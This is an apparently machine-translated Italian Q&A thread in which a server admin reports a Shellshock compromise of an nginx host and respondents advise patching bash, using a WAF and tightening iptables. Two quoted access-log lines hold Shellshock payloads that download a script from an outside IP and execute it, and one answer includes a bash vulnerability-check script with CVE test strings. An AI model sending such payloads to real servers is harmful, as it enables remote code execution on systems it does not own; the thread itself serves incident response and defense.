Sono "Shell Shocked" - script remoto scaricato ed eseguito - Posso vietare il download di file come misura di sicurezza

3

Qualche giorno fa, qualcuno ha provato una serie di richieste sulla nostra istanza di nginx. Tutto fallito tranne uno.

54.164.156.8 - - [**/Mar/2015:**********] "GET / HTTP/1.1" 200 393 "-" "() { :;};/usr/bin/perl -e 'print \x22Content-Type: text/plain\x5Cr\x5Cn\x5Cr\x5CnXSUCCESS!\x22;system(\x22wget http://202.191.121.230/ou.pl -O /tmp/b.pl;curl -O /tmp/b.pl http://202.191.121.230/ou.pl;perl /tmp/b.pl;rm -rf /tmp/b.pl*\x22);'"

Questo ha ottenuto un HTTP 200 da nginx e in effetti un b eseguibile è stato creato in /tmp/ (c'erano anche alcuni altri eseguibili con nomi strani e inaspettati). Non solo. Poco dopo, il traffico di rete sui nostri server è aumentato e sono state misurate più di 500 date.

Tutto fatto. Nessun effetto sul latte versato. Abbiamo ripristinato il server.

Abbiamo (cosa crediamo) pratiche ragionevoli per quanto riguarda i server: aggiorniamo i distributori di prodotti giornalieri, teniamo d'occhio i log, abbiamo toccato configs per iptables, ssh e simili. Ma nginx (bash?) Ci è stato maleducato, non avrebbe dovuto permetterlo.

Ad ogni modo, nel resettare il server, questa volta abbiamo eliminato curl e wget. È di qualche aiuto (gli hacker possono usare librerie intrinseche come urllib per python)?

È anche possibile bloccare il download di file arbitrari, soprattutto dato che molti vettori di attacco implicano il download di script remoti e l'esecuzione locale? Sarà di qualche aiuto?

Che altro possiamo fare per proteggerci, a maggior ragione dopo che l'attaccante sa già che ha pegno l'indirizzo IP una volta, sicuramente dovrebbe venire di nuovo.

La data e l'ora nel registro sono state deliberatamente ridotte

    
posta WeaklyTyped 18.03.2015 - 18:09
fonte

2 risposte

4

Rimozione di arricciatura e wget è semplicemente un dosso di velocità per i tuoi attaccanti. Hai un caso di esecuzione di codice in modalità remota, il che significa che sei di proprietà, non importa quale. / bin / cat / etc / passwd è un preferito per gli shockers shell e non è possibile rimuovere cat!

Quello che devi fare è aggiornare il tuo pacchetto bash. Hai detto che hai cancellato la scatola e ricominciato. Questo è un eccellente primo istinto. Ora devi aggiornare e mantenere aggiornata la tua casella! Il modo più semplice per farlo è attraverso il gestore dei pacchetti , quindi fallo prima di te mettilo online Quindi, imposta una politica di aggiornamento della sicurezza automatica. Consulta la documentazione per la tua distribuzione per farlo.

Hai ragione nell'assumere che il tuo attaccante vorrà tornare a una scatola già compromessa. Dopo aver aggiornato bash, sarai immune da shellshock, ma ci sono ancora molti problemi che devono affrontare i server web. Hai esaminato NAXSI ? Si tratta di un Web Application Firewall (WAF) in grado di proteggere l'installazione di nginx dagli attacchi comuni in un modo basato su regole.

    
risposta data 18.03.2015 - 18:20
fonte
1

Ho lo stesso caso su una delle macchine, ecco il log:

50.63.25.208 - - [09/Apr/2015:06:32:47 +0200] "GET /cgi-bin/defaultwebpage.cgi HTTP/1.1" 404 136 "-" "() { :;};/usr/bin/perl -e 'print \x22Content-Type: text/plain\x5Cr\x5Cn\x5Cr\x5CnXSUCCESS!\x22;system(\x22cd /tmp;cd /var/tmp;rm -rf .c.txt;rm -rf .d.txt ; wget http://109.228.25.87/.c.txt ; curl -O http://109.228.25.87/.c.txt ; fetch http://109.228.25.87/.c.txt ; lwp-download http://109.228.25.87/.c.txt; chmod +x .c.txt* ; sh .c.txt* \x22);'"

Per verificare che il server sia vulnerabile a ShellShock:

#!/bin/bash
EXITCODE=0

# CVE-2014-6271
CVE20146271=$(env 'x=() { :;}; echo vulnerable' 'BASH_FUNC_x()=() { :;}; echo vulnerable' bash -c "echo test" 2>&1 | grep 'vulnerable' | wc -l)

echo -n "CVE-2014-6271 (original shellshock): "
if [ $CVE20146271 -gt 0 ]; then
    echo -e "3[91mVULNERABLE3[39m"
    EXITCODE=$((EXITCODE+1))
else
    echo -e "3[92mnot vulnerable3[39m"
fi

# CVE-2014-6277
# it is fully mitigated by the environment function prefix passing avoidance
CVE20146277=$((shellshocker="() { x() { _;}; x() { _;} <<a; }" bash -c date 2>/dev/null || echo vulnerable) | grep 'vulnerable' | wc -l)

echo -n "CVE-2014-6277 (segfault): "
if [ $CVE20146277 -gt 0 ]; then
    echo -e "3[91mVULNERABLE3[39m"
    EXITCODE=$((EXITCODE+2))
else
    echo -e "3[92mnot vulnerable3[39m"
fi

# CVE-2014-6278
CVE20146278=$(shellshocker='() { echo vulnerable; }' bash -c shellshocker 2>/dev/null | grep 'vulnerable' | wc -l)

echo -n "CVE-2014-6278 (Florian's patch): "
if [ $CVE20146278 -gt 0 ]; then
    echo -e "3[91mVULNERABLE3[39m"
    EXITCODE=$((EXITCODE+4))
else
    echo -e "3[92mnot vulnerable3[39m"
fi

# CVE-2014-7169
CVE20147169=$((cd /tmp; rm -f /tmp/echo; env X='() { (a)=>\' bash -c "echo echo nonvuln" 2>/dev/null; [[ "$(cat echo 2> /dev/null)" == "nonvuln" ]] && echo "vulnerable" 2> /dev/null) | grep 'vulnerable' | wc -l)

echo -n "CVE-2014-7169 (taviso bug): "
if [ $CVE20147169 -gt 0 ]; then
    echo -e "3[91mVULNERABLE3[39m"
    EXITCODE=$((EXITCODE+8))
else
    echo -e "3[92mnot vulnerable3[39m"
fi

# CVE-2014-7186
CVE20147186=$((bash -c 'true <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF' 2>/dev/null || echo "vulnerable") | grep 'vulnerable' | wc -l)

echo -n "CVE-2014-7186 (redir_stack bug): "
if [ $CVE20147186 -gt 0 ]; then
    echo -e "3[91mVULNERABLE3[39m"
    EXITCODE=$((EXITCODE+16))
else
    echo -e "3[92mnot vulnerable3[39m"
fi

# CVE-2014-7187
CVE20147187=$(((for x in {1..200}; do echo "for x$x in ; do :"; done; for x in {1..200}; do echo done; done) | bash || echo "vulnerable") | grep 'vulnerable' | wc -l)

echo -n "CVE-2014-7187 (nested loops off by one): "
if [ $CVE20147187 -gt 0 ]; then
    echo -e "3[91mVULNERABLE3[39m"
    EXITCODE=$((EXITCODE+32))
else
    echo -e "3[92mnot vulnerable3[39m"
fi

# CVE-2014-////
CVE2014=$(env X=' () { }; echo vulnerable' bash -c 'date' | grep 'vulnerable' | wc -l)

echo -n "CVE-2014-//// (exploit 3 on http://shellshocker.net/): "
if [ $CVE2014 -gt 0 ]; then
    echo -e "3[91mVULNERABLE3[39m"
    EXITCODE=$((EXITCODE+64))
else
    echo -e "3[92mnot vulnerable3[39m"
fi

exit $EXITCODE

Questo modo di aggiornare la bash risolve questo problema:

sudo apt-get update && sudo apt-get install --only-upgrade bash

In caso di Fine della vita, basta fare:

sudo do-release-upgrade

Nel caso aggiungo altre regole a iptables per chiudere tutte le porte e lasciare solo quelle che uso e SSH:

*filter

# By default drop
-P INPUT DROP
-P OUTPUT DROP
-P FORWARD DROP

# Allow all loopback 
# Drop all traffic to 127/8 that doesn't use lo0
-A INPUT -i lo -j ACCEPT
-A OUTPUT -o lo -j ACCEPT
-A INPUT -d 127.0.0.0/8 -j REJECT

#  Accept all established inbound connections
-A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
-A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT

# allow the machine to browse the internet
-A INPUT -p tcp -m tcp --sport 80 -m state --state RELATED,ESTABLISHED -j ACCEPT
-A OUTPUT -p tcp -m tcp --dport 80 -j ACCEPT
-A INPUT -p tcp -m tcp --sport 443 -m state --state RELATED,ESTABLISHED -j ACCEPT
-A OUTPUT -p tcp -m tcp --dport 443 -j ACCEPT
-A INPUT -p tcp -m tcp --sport SSH-PORT -m state --state RELATED,ESTABLISHED -j ACCEPT
-A OUTPUT -p tcp -m tcp --dport SSH-PORT -j ACCEPT

# DNS
-A INPUT -p udp -m udp --sport 53 -j ACCEPT
-A OUTPUT -p udp -m udp --dport 53 -j ACCEPT
-A INPUT -p tcp -m tcp --sport 53 -j ACCEPT
-A OUTPUT -p tcp -m tcp --dport 53 -j ACCEPT

#  Allow all outbound traffic
-A OUTPUT -j ACCEPT

#  Allow HTTP and HTTPS connections from anywhere (the normal ports for websites and SSL).
-A INPUT -p tcp --dport 80 -j ACCEPT
-A INPUT -p tcp --dport 443 -j ACCEPT

#  Allow SSH connections
-A INPUT -p tcp -m state --state NEW --dport SSH-PORT -j ACCEPT

# blocking repeated attempts 
-A INPUT -p tcp --dport SSH-PORT -m state --state NEW -m recent --set --name ssh --rsource
-A INPUT -p tcp --dport SSH-PORT -m state --state NEW -m recent ! --rcheck --seconds 60 --hitcount 4 --name ssh --rsource -j ACCEPT

# SSH Brute Force Protection
-N LOGDROP
-A LOGDROP -j LOG
-A LOGDROP -j DROP
-I INPUT -p tcp --dport SSH-PORT -i eth0 -m state --state NEW -m recent --set
-I INPUT -p tcp --dport SSH-PORT -i eth0 -m state --state NEW -m recent  --update --seconds 60 --hitcount 4 -j LOGDROP

#  Allow ping
-A INPUT -p icmp --icmp-type echo-request -j ACCEPT

#  Log iptables denied calls
-A INPUT -m limit --limit 5/min -j LOG --log-prefix "iptables denied: " --log-level 7

# Validate packets
-A INPUT   -m state --state INVALID -j DROP  
-A FORWARD -m state --state INVALID -j DROP  
-A OUTPUT  -m state --state INVALID -j DROP  
-A INPUT -p tcp -m tcp --tcp-flags SYN,FIN SYN,FIN -j DROP 
-A INPUT -p tcp -m tcp --tcp-flags SYN,RST SYN,RST -j DROP 

# Reject Invalid networks (Spoof)
-A INPUT -s 10.0.0.0/8       -j DROP
-A INPUT -s 192.0.0.1/24     -j DROP
-A INPUT -s 169.254.0.0/16   -j DROP
-A INPUT -s 172.16.0.0/12    -j DROP
-A INPUT -s 224.0.0.0/4      -j DROP
-A INPUT -d 224.0.0.0/4      -j DROP
-A INPUT -s 240.0.0.0/5      -j DROP
-A INPUT -d 240.0.0.0/5      -j DROP
-A INPUT -s 0.0.0.0/8        -j DROP
-A INPUT -d 0.0.0.0/8        -j DROP
-A INPUT -d 239.255.255.0/24 -j DROP
-A INPUT -d 255.255.255.255  -j DROP

#  Drop all other inbound - default deny unless explicitly allowed policy
-A INPUT -j DROP
-A FORWARD -j DROP

COMMIT
    
risposta data 09.04.2015 - 10:58
fonte

Leggi altre domande sui tag